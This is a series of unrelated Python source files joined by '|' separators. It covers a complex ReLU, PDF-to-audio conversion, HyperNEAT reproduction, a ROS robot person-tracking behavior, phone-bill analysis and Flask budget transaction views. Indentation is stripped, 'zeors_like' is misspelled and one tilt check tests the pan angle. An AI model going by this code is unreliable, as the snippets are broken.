:rtype: dict
"""
return {
"revision_id": self.revision_id,
"status_id": self.status_id,
"cost_remaining": self.cost_remaining,
"date_status": self.date_status,
"time_remaining": self.time_remaining,
}
|
import torch
import torch.nn as nn
import numpy as np
from src.complex import CPLX
class zReLU(nn.Module):
def __init__(self):
super().__init__()
def forward(self, x):
rmask = torch.ge(x.r, torch.zeors_like(x.r)).float()
imask = torch.ge(x.i, torch.zeors_like(x.i)).float()
mask = rmask * imask
out = CPLX(x.r * mask, x.i * mask)
return out
class CReLU(nn.Module):
def __init__(self):
super().__init__()
self.rRelu = nn.ReLU()
self.iRelu = nn.ReLU()
def forward(self, x):
return CPLX(self.rRelu(x.r), self.iRelu(x.i))
|
from os import remove
from gtts import gTTS
from PyPDF2 import PdfFileReader
from typer import progressbar
import requests
from .utils import error_message
def download(pdf, file_out):
"""function that takes a pdf object and converts it to an audio file"""
with progressbar(length=pdf.getNumPages(), label='Downloading') as progress:
with open(f'{file_out}.mp3', 'wb') as f:
for page in progress:
text = pdf.getPage(page).extractText()
if text:
tts = gTTS(text)
tts.write_to_fp(f)
def file_pdf(file_name, file_out):
"""create pdf object from file and download audio"""
pdf = PdfFileReader(file_name, strict=False)
download(pdf, file_out)
def url_pdf(url, file_out):
"""make temp pdf file and download audio"""
file_name = 'kiki_temp.pdf'
try:
r = requests.get(url, timeout=3)
if r.status_code == 200:
with open(file_name, 'wb') as f:
f.write(r.content)
pdf = PdfFileReader(file_name, strict=False)
download(pdf, file_out)
remove(file_name)
else:
error_message(f'{url} is invalid.')
except requests.exceptions.Timeout:
error_message(f'Request for {url} timed out.')
except requests.exceptions.RequestException as e:
error_message(f'Request for {url} is invalid.')
|
'''
Class for maintaining and implementing reproductive behavior in Deep HyperNEAT.
Largely copied from neat-python. (Copyright 2015-2017, CodeReclaimers, LLC.)
'''
import random
from math import ceil
from deep_hyperneat.genome import Genome
from deep_hyperneat.stagnation import Stagnation
from itertools import count
from deep_hyperneat.util import itervalues, iteritems, mean
class Reproduction:
def __init__(self):
self.genome_indexer = count(1)
self.reporters = None
# Number of elites allowed to be cloned into species each gen
self.species_elitism = 1
self.stagnation = Stagnation(self.species_elitism)
# Fraction of members of a species allowed to reproduce each gen
self.species_reproduction_threshold = 0.2
def create_new_population(self, num_genomes):
'''
Creates a fresh population
num_genomes -- number of genomes to create for the population
'''
new_genomes = {}
# Create n new, minimal genomes
for i in range(num_genomes):
gid = next(self.genome_indexer)
# Create genome
new_genome = Genome(gid)
new_genomes[gid] = new_genome
return new_genomes
@staticmethod
def compute_species_sizes(adjusted_fitness, previous_sizes, pop_size, min_species_size):
'''
Compute the proper number of offspring per species (proportional to fitness).
adjusted_fitness -- normalized fitness of members in the population
previous_sizes -- previous sizes of the species
pop_size -- population size
min_species_size -- minimum species size
'''
adujst_fitness_sum = sum(adjusted_fitness)
species_sizes = []
for adjusted_fit, prev_size in zip(adjusted_fitness, previous_sizes):
if adujst_fitness_sum > 0:
# Species size should be proportional to fitness if positive
species_size = max(min_species_size, adjusted_fit/adujst_fitness_sum*pop_size)
else:
species_size = min_species_size
# This is basically determining if the species improved in fitness or
# decreased
difference = (species_size-prev_size)*0.5
count = int(round(difference))
curr_size = prev_size
# If species sees large increase in fitness, increase accordingly
if abs(count) > 0:
curr_size += count
# If species marginally improves, increase size by 1
elif difference > 0:
curr_size += 1
elif difference < 0:
curr_size -= 1
species_sizes.append(curr_size)
# Normalize the amounts so that the next generation is roughly
# the population size requested by the user.
total_spawn = sum(species_sizes)
norm = pop_size/total_spawn
species_sizes = [max(min_species_size, int(round(n * norm))) for n in species_sizes]
# print(species_sizes)
return species_sizes
def reproduce_with_species(self, species_set, pop_size, generation):
'''
Creates and speciates genomes.
species_set -- set of current species
pop_size -- population size
generation -- current generation
'''
all_fitnesses = []
remaining_species = []
# Traverse species and grab fitnesses from non-stagnated species
for sid, species, species_is_stagnant in self.stagnation.update(species_set,
generation):
if species_is_stagnant:
print("!!! Species {} Stagnated !!!".format(sid))
# self.reporters.species_stagnant(sid, species)
pass
else:
# Add fitnesses of members of current species
all_fitnesses.extend(member.fitness for member in
itervalues(species.members))
remaining_species.append(species)
# No species
if not remaining_species:
species_set.species = {}
return {}
# Find min/max fitness across entire population
min_population_fitness = min(all_fitnesses)
max_population_fitness = max(all_fitnesses)
# Do not allow the fitness range to be zero, as we divide by it below.
population_fitness_range = max(1.0, max_population_fitness - min_population_fitness)
# Compute adjusted fitness and record minimum species size
for species in remaining_species:
# Determine current species average fitness
mean_species_fitness = mean([member.fitness for member in
itervalues(species.members)])
max_species_fitness = max([member.fitness for member in
itervalues(species.members)])
# Determine current species adjusted fitness and update it
species_adjusted_fitness = (mean_species_fitness-
min_population_fitness)/population_fitness_range
species.adjusted_fitness = species_adjusted_fitness
species.max_fitness = max_species_fitness
adjusted_fitnesses = [species.adjusted_fitness for species in remaining_species]
avg_adjusted_fitness = mean(adjusted_fitnesses)
# Compute the number of new members for each species in the new generation.
previous_sizes = [len(species.members) for species in remaining_species]
min_species_size = max(2, self.species_elitism)
spawn_amounts = self.compute_species_sizes(adjusted_fitnesses, previous_sizes,
pop_size, min_species_size)
new_population = {}
species_set.species = {}
for spawn, species in zip(spawn_amounts, remaining_species):
# If elitism is enabled, each species always at least gets to retain its elites.
spawn = max(spawn, self.species_elitism)
assert spawn > 0
# The species has at least one member for the next generation, so retain it.
old_species_members = list(iteritems(species.members))
# Update species with blank slate
species.members = {}
# Update species in species set accordingly
species_set.species[species.key] = species
# Sort old species members in order of descending fitness.
old_species_members.sort(reverse=True, key=lambda x: x[1].fitness)
# Clone elites to new generation.
if self.species_elitism > 0:
for member_key, member in old_species_members[:self.species_elitism]:
new_population[member_key] = member
spawn -= 1
# If the species only has room for the elites, move onto next species
if spawn <= 0: continue
# Only allow fraction of species members to reproduce
reproduction_cutoff = int(ceil(self.species_reproduction_threshold *
len(old_species_members)))
# Use at least two parents no matter what the threshold fraction result is.
reproduction_cutoff = max(reproduction_cutoff, 2)
old_species_members = old_species_members[:reproduction_cutoff]
# Randomly choose parents and produce the number of offspring allotted to the species.
# NOTE: Asexual reproduction for now
while spawn > 0:
spawn -= 1
parent1_key, parent1 = random.choice(old_species_members)
# parent2_key, parent2 = random.choice(old_species_members)
child_key = next(self.genome_indexer)
child = Genome(child_key)
# child.crossover(parent1, parent2)
child.copy(parent1,generation)
child.mutate(generation)
new_population[child_key] = child
return new_population
|
from guillotina import configure
from guillotina.addons import Addon
from guillotina.contrib.email_validation.interfaces import IValidationSettings
from guillotina.utils import get_registry
@configure.addon(name="email_validation", title="Guillotina Email Validation")
class EmailValidationAddon(Addon):
@classmethod
async def install(self, site, request):
registry = await get_registry()
registry.register_interface(IValidationSettings)
@classmethod
async def uninstall(self, site, request):
pass
|
import sys
lines = []
for line in sys.stdin:
lines.append(line.strip())
n = int(lines[0])
nums = []
count = 0
for num in lines[1: ]:
num = int(num)
if num > 0:
nums.append(num)
elif num < 0:
count += 1
mean = round(sum(nums) / len(nums), 1)
output = ' '.join([str(count), str(mean)])
print(output)
|
#! /usr/bin/env python
# IDLE Behavior
# WARNING! if person tracking is acting crazy, check that
# the person tracker node is using the correct camera!!
import rospy
import actionlib
import behavior_common.msg
import time
import rospkg
import rosparam
from std_msgs.msg import Float64
from std_msgs.msg import String
from sensor_msgs.msg import JointState
import random
from math import radians, degrees
import tf
import os, thread
from playsound import playsound
# for talking
import actionlib
import actionlib.action_client
import audio_and_speech_common.msg
from random import randint
# SHELDON Only
# from dynamixel_controllers.srv import TorqueEnable, SetServoTorqueLimit, SetSpeed
from sheldon_servos.servo_joint_list import head_joints
from sheldon_servos.head_servo_publishers import *
from sheldon_servos.standard_servo_positions import *
from sheldon_servos.set_servo_speed import *
from sheldon_servos.set_servo_torque import *
# TB2S ONLY
# from tb2s_pantilt.set_servo_speed import *
# from sheldon_servos.set_servo_torque import *
from body_tracker_msgs.msg import BodyTracker, BodyTrackerArray
from geometry_msgs.msg import PointStamped, Point, PoseStamped, Pose, Pose2D
#import geometry_msgs.msg
import tf
# TB2S ONLY
#pub_head_pan = rospy.Publisher('/head_pan_joint/command', Float64, queue_size=1)
#pub_head_tilt = rospy.Publisher('/head_tilt_joint/command', Float64, queue_size=1)
class BehaviorAction(object):
def __init__(self, name):
self._action_name = name
self._as = actionlib.SimpleActionServer(self._action_name,
behavior_common.msg.behaviorAction, execute_cb=self.execute_cb, auto_start = False)
self._as.start()
rospy.loginfo('%s: Initializing Python behavior service' % (self._action_name))
# constants
self.MAX_PAN = 1.5708 # 90 degrees
self.MAX_TILT = 0.60 # Limit vertical to assure good tracking
self.DEADBAND_ANGLE = 0.0872665 # 5 deg deadband in middle to prevent osc
self.DEFAULT_TILT_ANGLE = 0.00 # TB2S: tilt head up slightly to find people more easily
self.NAME_TIMEOUT_SECS = 8.0
self.HELLO_TIMEOUT_SECS = (10.0 * 60.0)
#====================================================================
# Behavior Settings
# Load this behavior's parameters to the ROS parameter server
rospack = rospkg.RosPack()
pkg_path = rospack.get_path(self._action_name.strip("/")) # remove leading slash
param_file_path = pkg_path + '/param/param.yaml'
rospy.loginfo('%s: Loading Params from %s', self._action_name, param_file_path)
paramlist = rosparam.load_file(param_file_path, default_namespace=self._action_name)
for params, ns in paramlist:
rosparam.upload_params(ns,params)
# Get this behavior's parameters
self.enable_body_tracking = rospy.get_param('~enable_body_tracking', True)
rospy.loginfo('%s: PARAM: enable_body_tracking = %s', self._action_name,
self.enable_body_tracking)
self.enable_random_head_movement = rospy.get_param('~enable_random_head_movement', True)
rospy.loginfo('%s: PARAM: enable_random_head_movement = %s', self._action_name,
self.enable_random_head_movement)
self.head_pan_joint = rospy.get_param('~head_pan_joint', 'head_pan_joint')
rospy.loginfo('%s: PARAM: head_pan_joint = %s', self._action_name,
self.head_pan_joint)
self.head_tilt_joint = rospy.get_param('~head_tilt_joint', 'head_tilt_joint')
rospy.loginfo('%s: PARAM: head_tilt_joint = %s', self._action_name,
self.head_tilt_joint)
self.sound_effects_dir = rospy.get_param('~sound_effects_dir',
'/home/system/catkin_robot/src/sheldon/sheldon_behaviors/resources/sounds/sound_effects')
rospy.loginfo('%s: PARAM: sound_effects_dir = %s', self._action_name,
self.sound_effects_dir)
self.ding_path = os.path.join(self.sound_effects_dir, "ding.wav")
rospy.loginfo("DBG: DING PATH: %s", self.ding_path)
# playsound(self.ding_path) # test sound
#====================================================================
self.tracking = False
self.joint_state = JointState() # for reading servo positions
#self.astra_target = list()
# Remember which person we are tracking
#self.current_person_id = 0 # 0 = not tracking anyone
#self.current_person_id_time = rospy.Time.now() # start timer
self.named_person = ""
self.named_person_id = 0
self.named_person_time = rospy.Time.now() # start timer
self.named_people_seen_today = {}
# Publish current person by name, if recognized
self.pub_current_user_name = rospy.Publisher('/person/name', String, queue_size=2)
rospy.loginfo("Waiting for speech server (press ctrl-c to cancel at anytime)")
self.speech_client = actionlib.SimpleActionClient("/speech_service", \
audio_and_speech_common.msg.speechAction)
self.speech_client.wait_for_server()
rospy.sleep(2)
rospy.loginfo("testing speech")
goal = audio_and_speech_common.msg.speechGoal(text_to_speak="testing speech system")
self.speech_client.send_goal(goal)
# Initialize tf listener
#self.tf = tf.TransformListener()
# Allow tf to catch up
#rospy.sleep(2)
def joint_state_cb(self, msg):
#rospy.loginfo("%s: joint_state_cb called", self._action_name)
try:
test = msg.name.index(self.head_pan_joint)
self.joint_state = msg
except:
return
# Get the current servo pan and tilt position
try:
current_pan = self.joint_state.position[
self.joint_state.name.index(self.head_pan_joint)]
current_tilt = self.joint_state.position[
self.joint_state.name.index(self.head_tilt_joint)]
except:
return
#rospy.loginfo("%s: joint_state_cb: Current Pan = %f, Tilt = %f",
# self._action_name, current_pan, current_tilt)
#====================================================================
# 2D Tracking: Message contains person horizontal (x) and vertical (y)
# position is relative to the depth image.
def position_cb(self, msg):
#rospy.loginfo('%s: got position_cb message' % (self._action_name))
# determine highest priority person to track
# Message contains an array of people being tracked
# Note: tracking while stationary / idle is different from when person-following
person_to_track_id = 0
person_to_track_index = 0
# Priority 1: someone making a gesture
for i, person in enumerate(msg.detected_list):
if person.gesture > -1:
person_to_track_id = person.body_id
person_to_track_index = i
rospy.loginfo("DBG: GOT A GESTURE ")
break
# Priority 2: Track the closest person
# this allows robot to change focus to different people,
# whoever is closest he will talk to.
# TODO? Track closest person that has face detected to reject tracking objects?
if person_to_track_id == 0:
closest_person_distance = 100000
closest_person_index = 0
for i, person in enumerate(msg.detected_list):
if person.position2d.z < closest_person_distance:
closest_person_distance = person.position2d.z
person_to_track_id = person.body_id
person_to_track_index = i
if person_to_track_id != 0:
# found someone to track
person_info = msg.detected_list[person_to_track_index]
# DEBUG if person_info.face_found == True:
# rospy.loginfo("%s: Face Found. Name = " + person_info.name, self._action_name)
if person_info.name != "":
# We recognized this person!
rospy.loginfo("%s: Tracking Name " + person_info.name, self._action_name)
self.named_person = person_info.name
self.named_person_id = person_to_track_id # associate ID with the name
self.named_person_time = rospy.Time.now()
self.pub_current_user_name.publish(self.named_person)
# Say hello the first time we see someone in a while
if self.named_person not in self.named_people_seen_today:
#current_time = rospy.get_rostime()
self.named_people_seen_today[self.named_person] = rospy.get_rostime()
rospy.loginfo("=========== Saying Hello ===========")
goal = audio_and_speech_common.msg.speechGoal( \
text_to_speak = "hello " + self.named_person)
self.speech_client.send_goal(goal)
else:
# we've said hello to this person, but lets see how long ago it was
time_since_hello = rospy.get_rostime() - self.named_people_seen_today[self.named_person]
#rospy.loginfo("%s: DEBUG time_since_hello = %f", \
# self._action_name, time_since_hello.to_sec())
if time_since_hello > rospy.Duration.from_sec(self.HELLO_TIMEOUT_SECS):
self.named_people_seen_today[self.named_person] = rospy.get_rostime()
rospy.loginfo("=========== Saying Hello Again ===========")
goal = audio_and_speech_common.msg.speechGoal( \
text_to_speak = "hello again " + self.named_person)
self.speech_client.send_goal(goal)
else:
if self.named_person != "":
# We are tracking a specific person by name, but did not get a name this frame
if person_to_track_id != self.named_person_id:
# different user, clear the name
rospy.loginfo("%s: Lost user %s", self._action_name, self.named_person)
self.named_person = ""
self.named_person_id = 0
self.pub_current_user_name.publish(self.named_person)
else:
# still the same ID, but sometimes ID's don't get changed
time_since_last_name = rospy.Time.now() - self.named_person_time
#rospy.loginfo("%s: DEBUG time_since_last_name = %f", \
# self._action_name, time_since_last_name.to_sec())
if time_since_last_name > rospy.Duration.from_sec(self.NAME_TIMEOUT_SECS):
rospy.loginfo("%s: User Name %s Timed out", self._action_name, self.named_person)
self.named_person = ""
self.named_person_id = 0
self.pub_current_user_name.publish(self.named_person)
#self.current_person_id = person_to_track_id
#self.current_person_id_time = rospy.Time.now()
# Track person
# position in radians from center of camera lens
delta_angle_x = person_info.position2d.x
delta_angle_y = person_info.position2d.y
# Uncomment this to debug
# rospy.loginfo("%s: Tracking Person Index: %d, ID: %d x: %f y: %f", \
# self._action_name, person_to_track_index, person_to_track_id, delta_angle_x, delta_angle_y )
# Get the current servo pan and tilt position
try:
current_pan = self.joint_state.position[
self.joint_state.name.index(self.head_pan_joint)]
current_tilt = self.joint_state.position[
self.joint_state.name.index(self.head_tilt_joint)] * -1.0
except:
return
#rospy.loginfo("%s: Body Tracker: Current Servo: Pan = %f, Tilt = %f",
# self._action_name, current_pan, current_tilt)
# add target position to current servo position
pan_angle = current_pan + (delta_angle_x * 0.95) #shoot for less
tilt_angle = current_tilt + (delta_angle_y * 0.95)
# rospy.loginfo("%s: Body Tracker: Servo Command: Pan = %f, Tilt = %f",
# self._action_name, pan_angle, tilt_angle)
# command servos to move to target, if not in deadband
pan_on_target = True
tilt_on_target = True
if abs(delta_angle_x) > self.DEADBAND_ANGLE:
if abs(pan_angle) < self.MAX_PAN:
pub_head_pan.publish(pan_angle) # Send servo command
pan_on_target = False
if abs(delta_angle_y) > self.DEADBAND_ANGLE:
if abs(pan_angle) < self.MAX_TILT:
pub_head_tilt.publish(-tilt_angle) # Send servo command
tilt_on_target = False
#if pan_on_target and tilt_on_target:
# rospy.loginfo("%s: On target ID %d", self._action_name, person_id)
#else:
# rospy.loginfo("%s: ID %d: Pan delta = %f, Tilt Delta = %f",
# self._action_name, person_id, delta_angle_x, delta_angle_y)
# Max pan/tilt is constrained by system. Add additional constraints if needed
self.tracking = True # don't do idle movements
# SHELDON ONLY
#side_tilt_angle = 0.0
#pub_head_sidetilt.publish(side_tilt_angle)
#self.last_target_time = rospy.Time.now() # reset timer
#====================================================================
# Main loop
def execute_cb(self, goal):
# Idle Behavior has gone Active!
# Set servos speed and torque
SetServoTorque(0.5, head_joints)
SetServoSpeed(0.35, head_joints)
# Move head and arms to ready position
all_home()
# Center Camera Head
pub_head_pan.publish(0.0)
pub_head_tilt.publish(self.DEFAULT_TILT_ANGLE) # tilt head up to find people more easily
#pub_head_sidetilt.publish(0.0) # SHELDON ONLY
if self.enable_random_head_movement:
rospy.loginfo('%s: random head movements enabled...' % (self._action_name))
else:
rospy.loginfo('%s: random head movements DISABLED' % (self._action_name))
if self.enable_body_tracking:
rospy.loginfo('%s: waiting for person tracking...' % (self._action_name))
else:
rospy.loginfo('%s: body tracking DISABLED' % (self._action_name))
if self.enable_body_tracking:
# Enable Subscribers
#position_sub = rospy.Subscriber("/body_tracker/position", \
# BodyTracker, self.position_cb, queue_size=1)
position_sub = rospy.Subscriber("/body_tracker_array/people", \
BodyTrackerArray, self.position_cb, queue_size=1)
# pose2d_sub = rospy.Subscriber("/body_tracker/pose2d", Pose2D, self.pose_2d_cb, queue_size=1)
servo_sub = rospy.Subscriber('/joint_states', JointState, self.joint_state_cb) # servos
while True:
if self._as.is_preempt_requested():
break
if not self.tracking and self.enable_random_head_movement:
# Idle: Move head to constrained random location, at random intervals
tiltAmt = random.uniform(-0.3, 0.3)
pub_head_tilt.publish(tiltAmt)
rospy.loginfo('%s: Doing Random Movement' % (self._action_name))
panAmt = random.uniform(-0.5, 0.5)
pub_head_pan.publish(panAmt)
# SHELDON ONLY
sidetiltAmt = random.uniform(-0.05, 0.05)
pub_head_sidetilt.publish(sidetiltAmt)
self.tracking = False # do Idle if tracking gets lost
# delay before next loop
randSleep = random.randint(10, 35) # tenth seconds
for i in range(1, randSleep):
if self._as.is_preempt_requested():
break
else:
time.sleep(0.1)
# Behavior Exit / Cleanup
if self.enable_body_tracking:
position_sub.unregister()
servo_sub.unregister()
# Idle always runs until preempted
rospy.loginfo('%s: Behavior preempted' % self._action_name)
self._as.set_preempted()
if __name__ == '__main__':
rospy.init_node('idle_behavior')
server = BehaviorAction(rospy.get_name())
rospy.spin()
|
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
__author__ = 'ipetrash'
# TODO: сделать детализацию счета и заказать в html/excel
# замаскировать телефоны
# сделать обработку excel на pandas: Analysis of account detail (excel)
import zipfile
with zipfile.ZipFile('Doc_df7c89c378c04e8daf69257ea95d9a2e.zip') as f:
data_file = f.read('Doc_df7c89c378c04e8daf69257ea95d9a2e.html')
from bs4 import BeautifulSoup
root = BeautifulSoup(data_file, 'lxml')
records = []
for tr in root.select("table > tbody > tr"):
td_list = tr.select("td")
record = [
td_list[1].text, # 'Дата'
td_list[2].text, # 'Время'
td_list[3].text, # 'GMT'
td_list[4].text, # 'Номер'
# td_list[5].text, # 'Зона вызова'
# td_list[6].text, # 'Зона направления вызова/номер сессии'
td_list[7].text, # 'Услуга'
td_list[9].text, # 'Длительность/Объем (мин.:сек.)/(Kb)'
float(td_list[10].text.replace(',', '.')), # 'Стоимость руб. без НДС'
]
records.append(record)
columns = [
'Дата', 'Время', 'GMT', 'Номер',
# 'Зона вызова', 'Зона направления вызова/номер сессии',
'Услуга', 'Длительность/Объем (мин.:сек.)/(Kb)', 'Стоимость руб. без НДС'
]
import pandas as pd
df = pd.DataFrame(data=records, columns=columns)
# print(df)
print('Total rows:', len(df))
df_with_null_price = df[df['Стоимость руб. без НДС'] == 0]
print('With null price:', len(df_with_null_price))
df_with_price = df[df['Стоимость руб. без НДС'] > 0]
print('With price:', len(df_with_price))
phone_list = sorted(set(df['Номер'].tolist()))
print('\nPhones ({}): {}'.format(len(phone_list), phone_list))
print('\nShow target phone:')
df_dns_shop = df[df['Номер'].str.contains('sms:DNS-SHOP')]
print(' DNS-SHOP: number: {}, total price: {}'.format(len(df_dns_shop), df_dns_shop['Стоимость руб. без НДС'].sum()))
df_maginfo = df[df['Номер'].str.contains('sms:Maginfo')]
print(' Maginfo: number: {}, total price: {}'.format(len(df_maginfo), df_maginfo['Стоимость руб. без НДС'].sum()))
df_sms_ru = df[df['Номер'].str.contains('sms:SMS.RU')]
print(' SMS.RU: number: {}, total price: {}'.format(len(df_sms_ru), df_sms_ru['Стоимость руб. без НДС'].sum()))
print('\nPrint details (Maginfo):')
print(df_maginfo.to_string())
# Посчитать сумму за июнь, июль и август
print('\nPrice for months 06, 07 and 08:')
print(' ' + str(df[df['Дата'].str.contains('.06.')]['Стоимость руб. без НДС'].sum()))
print(' ' + str(df[df['Дата'].str.contains('.07.')]['Стоимость руб. без НДС'].sum()))
print(' ' + str(df[df['Дата'].str.contains('.08.')]['Стоимость руб. без НДС'].sum()))
print('\nPrint details sorting by price (top 10):')
df_with_price_sorted = df_with_price.sort_values(by='Стоимость руб. без НДС', ascending=True).tail(10)
print(df_with_price_sorted.to_string())
df_by_phone = df_with_price[df_with_price['Номер'].str.contains('79510000000')]
print('\nPrint total price by phone:', df_by_phone['Стоимость руб. без НДС'].sum())
df_months_06_07_08 = df_with_price[df_with_price['Дата'].str.contains('|'.join(['.06.', '.07.', '.08.']))]
print('\nTotal price for months 06, 07 and 08:', df_months_06_07_08['Стоимость руб. без НДС'].sum())
print(df_months_06_07_08.to_string())
#
# TODO: интересно было бы полностью силами пандаса такое подсчитать, а после выбрать какие столбцы в итоговой таблице
# показать.
# Таблице нужно поле Итого
#
print('\n\nPrint internet info:')
df_internet = df[df['Номер'] == 'internet.mts.ru']
from datetime import datetime
data_list = sorted(set(df_internet['Дата'].tolist()), key=lambda data: datetime.strptime(data, '%d.%m.%Y'))
total_mb = 0
for data in data_list:
kb_list = df_internet[df_internet['Дата'] == data]['Длительность/Объем (мин.:сек.)/(Kb)'].tolist()
kb_list = [int(kb.replace('Kb', '')) for kb in kb_list]
sum_mb = sum(kb_list) // 1024
total_mb += sum_mb
print(data, sum_mb, 'MB')
print('Total:', total_mb, 'MB')
|
""" Transactions REST view """
from datetime import datetime
from typing import Any, Dict
from flask import Flask
from flask.views import MethodView
from werkzeug.exceptions import BadRequest, NotFound
from underbudget.common.decorators import use_args, with_pagination
from underbudget.database import db
from underbudget.models.account import AccountCategoryModel, AccountModel
from underbudget.models.envelope import EnvelopeCategoryModel, EnvelopeModel
from underbudget.models.ledger import LedgerModel
from underbudget.models.transaction import (
AccountTransactionModel,
EnvelopeTransactionModel,
TransactionModel,
)
import underbudget.schemas.transaction as schema
transaction_schema = schema.TransactionSchema()
patch_schema = schema.TransactionPatchSchema()
acct_trn_history_schema = schema.AccountTransactionHistorySchema()
env_trn_history_schema = schema.EnvelopeTransactionHistorySchema()
class TransactionsView(MethodView):
""" Transaction REST resource view """
@classmethod
def register(cls, app: Flask):
""" Registers routes for this view """
view = cls.as_view("transactions")
app.add_url_rule(
"/api/ledgers/<int:ledger_id>/transactions",
view_func=view,
methods=["POST"],
)
app.add_url_rule(
"/api/transactions/<int:transaction_id>",
view_func=view,
methods=["GET", "PATCH", "DELETE"],
)
@staticmethod
def get(transaction_id: int):
""" Gets a specific transaction """
return transaction_schema.dump(
TransactionModel.query.get_or_404(transaction_id)
)
@classmethod
@use_args(transaction_schema)
def post(cls, args: Dict[str, Any], ledger_id: int):
""" Creates a new transaction in the specified ledger """
LedgerModel.query.get_or_404(ledger_id)
now = datetime.now()
new_transaction = TransactionModel(
ledger_id=ledger_id,
transaction_type=args.get("transaction_type"),
recorded_date=args["recorded_date"],
payee=args["payee"],
created=now,
last_updated=now,
)
for acct_trn_args in args["account_transactions"]:
cls.add_account_transaction(acct_trn_args, new_transaction)
for env_trn_args in args["envelope_transactions"]:
cls.add_envelope_transaction(env_trn_args, new_transaction)
new_transaction.validate()
new_transaction.save()
return {"id": int(new_transaction.id)}, 201
@classmethod
@use_args(patch_schema)
def patch(cls, args: Dict[str, Any], transaction_id: int):
""" Modifies a specific transaction """
transaction = TransactionModel.query.get_or_404(transaction_id)
with db.session.no_autoflush:
transaction.transaction_type = args.get("transaction_type")
transaction.recorded_date = args["recorded_date"]
transaction.payee = args["payee"]
for added in args["account_transactions"].get("add", []):
cls.add_account_transaction(added, transaction)
for modified in args["account_transactions"].get("modify", []):
cls.modify_account_transaction(modified, transaction)
for deleted in args["account_transactions"].get("delete", []):
cls.delete_account_transaction(deleted, transaction)
for added in args["envelope_transactions"].get("add", {}):
cls.add_envelope_transaction(added, transaction)
for modified in args["envelope_transactions"].get("modify", []):
cls.modify_envelope_transaction(modified, transaction)
for deleted in args["envelope_transactions"].get("delete", []):
cls.delete_envelope_transaction(deleted, transaction)
transaction.validate()
transaction.save()
return {}, 200
@staticmethod
def delete(transaction_id: int):
""" Deletes a specific transaction """
transaction = TransactionModel.query.get_or_404(transaction_id)
transaction.delete()
return {}, 204
@staticmethod
def add_account_transaction(args: Dict[str, Any], transaction: TransactionModel):
""" Adds a new account transaction to the given transaction """
account = AccountModel.query.get_or_404(args["account_id"])
category = AccountCategoryModel.query.get_or_404(account.category_id)
if category.ledger_id != transaction.ledger_id:
raise BadRequest("Account is from different ledger")
transaction.account_transactions.append(
AccountTransactionModel(
account_id=args["account_id"],
amount=args["amount"],
memo=args["memo"],
cleared=args["cleared"],
)
)
@staticmethod
def modify_account_transaction(args: Dict[str, Any], transaction: TransactionModel):
""" Modifies an existing account transaction under the given transaction """
for acct_trn in transaction.account_transactions:
if acct_trn.id == args["id"]:
if acct_trn.account_id != args["account_id"]:
# TODO reject mod when reconciled, not cleared # pylint: disable=fixme
# if acct_trn.cleared:
# raise BadRequest("Cannot modify cleared account transaction")
account = AccountModel.query.get_or_404(args["account_id"])
category = AccountCategoryModel.query.get_or_404(
account.category_id
)
if category.ledger_id != transaction.ledger_id:
raise BadRequest("Account is from different ledger")
acct_trn.account_id = args["account_id"]
if acct_trn.amount != args["amount"]:
# TODO reject mod when reconciled, not cleared # pylint: disable=fixme
# if acct_trn.cleared:
# raise BadRequest("Cannot modify cleared account transaction")
acct_trn.amount = args["amount"]
acct_trn.memo = args["memo"]
acct_trn.cleared = args["cleared"]
return
raise NotFound("Account transaction not found")
@staticmethod
def delete_account_transaction(transaction_id: int, transaction: TransactionModel):
""" Deletes an existing account transaction from the given transaction """
for acct_trn in transaction.account_transactions:
if acct_trn.id == transaction_id:
transaction.account_transactions.remove(acct_trn)
return
raise NotFound("Account transaction not found")
@staticmethod
def add_envelope_transaction(args: Dict[str, Any], transaction: TransactionModel):
""" Adds a new envelope transaction to the given transaction """
envelope = EnvelopeModel.query.get_or_404(args["envelope_id"])
category = EnvelopeCategoryModel.query.get_or_404(envelope.category_id)
if category.ledger_id != transaction.ledger_id:
raise BadRequest("Envelope is from different ledger")
transaction.envelope_transactions.append(
EnvelopeTransactionModel(
envelope_id=args["envelope_id"],
amount=args["amount"],
memo=args["memo"],
)
)
@staticmethod
def modify_envelope_transaction(
args: Dict[str, Any], transaction: TransactionModel
):
""" Modifies an existing envelope transaction under the given transaction """
for env_trn in transaction.envelope_transactions:
if env_trn.id == args["id"]:
if env_trn.envelope_id != args["envelope_id"]:
envelope = EnvelopeModel.query.get_or_404(args["envelope_id"])
category = EnvelopeCategoryModel.query.get_or_404(
envelope.category_id
)
if category.ledger_id != transaction.ledger_id:
raise BadRequest("Envelope is from different ledger")
env_trn.envelope_id = args["envelope_id"]
env_trn.amount = args["amount"]
env_trn.memo = args["memo"]
return
raise NotFound("Envelope transaction not found")
@staticmethod
def delete_envelope_transaction(transaction_id: int, transaction: TransactionModel):
""" Deletes an existing envelope transaction from the given transaction """
for env_trn in transaction.envelope_transactions:
if env_trn.id == transaction_id:
transaction.envelope_transactions.remove(env_trn)
return
raise NotFound("Account transaction not found")
class AccountTransactionsView(MethodView):
""" Account transaction REST resource view """
@classmethod
def register(cls, app: Flask):
""" Registers routes for this view """
view = cls.as_view("account-transactions")
app.add_url_rule(
"/api/accounts/<int:account_id>/transactions",
view_func=view,
methods=["GET"],
)
@staticmethod
@with_pagination
def get(account_id: int, page: int, size: int):
""" Gets transaction history for an account """
AccountModel.query.get_or_404(account_id)
return acct_trn_history_schema.dump(
AccountTransactionModel.get_history(account_id, page, size)
)
class EnvelopeTransactionsView(MethodView):
""" Envelope transaction REST resource view """
@classmethod
def register(cls, app: Flask):
""" Registers routes for this view """
view = cls.as_view("envelope-transactions")
app.add_url_rule(
"/api/envelopes/<int:envelope_id>/transactions",
view_func=view,
methods=["GET"],
)
@staticmethod
@with_pagination
def get(envelope_id: int, page: int, size: int):
""" Gets transaction history for an envelope """
EnvelopeModel.query.get_or_404(envelope_id)
return env_trn_history_schema.dump(
EnvelopeTransactionModel.get_history(envelope_id, page, size)
)
|
"""
2018 Gregory Way
9.tcga-classify/classify-cancer-types.py
Predicting 33 different cancer-types using elastic net logistic regression and
compressed gene expression features in TCGA PanCanAtlas
Usage:
python classify-cancer-types.py
Output:
Cancer-type specific DataFrames storing ROC, precision-recall, and classifier
coefficients for every compression model trained in their ability to predict
cancer-type.
"""
import os
import numpy as np
import pandas as pd
from scripts.tcga_util import (
get_threshold_metrics,
summarize_results,
extract_coefficients,
align_matrices,
train_model,
build_feature_dictionary,
process_y_matrix_cancertype,
check_status,
)
np.random.seed(123)
# Load constants
folds = 5
max_iter = 100
algorithms = ["pca", "ica", "nmf", "dae", "vae"]
signals = ["signal", "shuffled"]
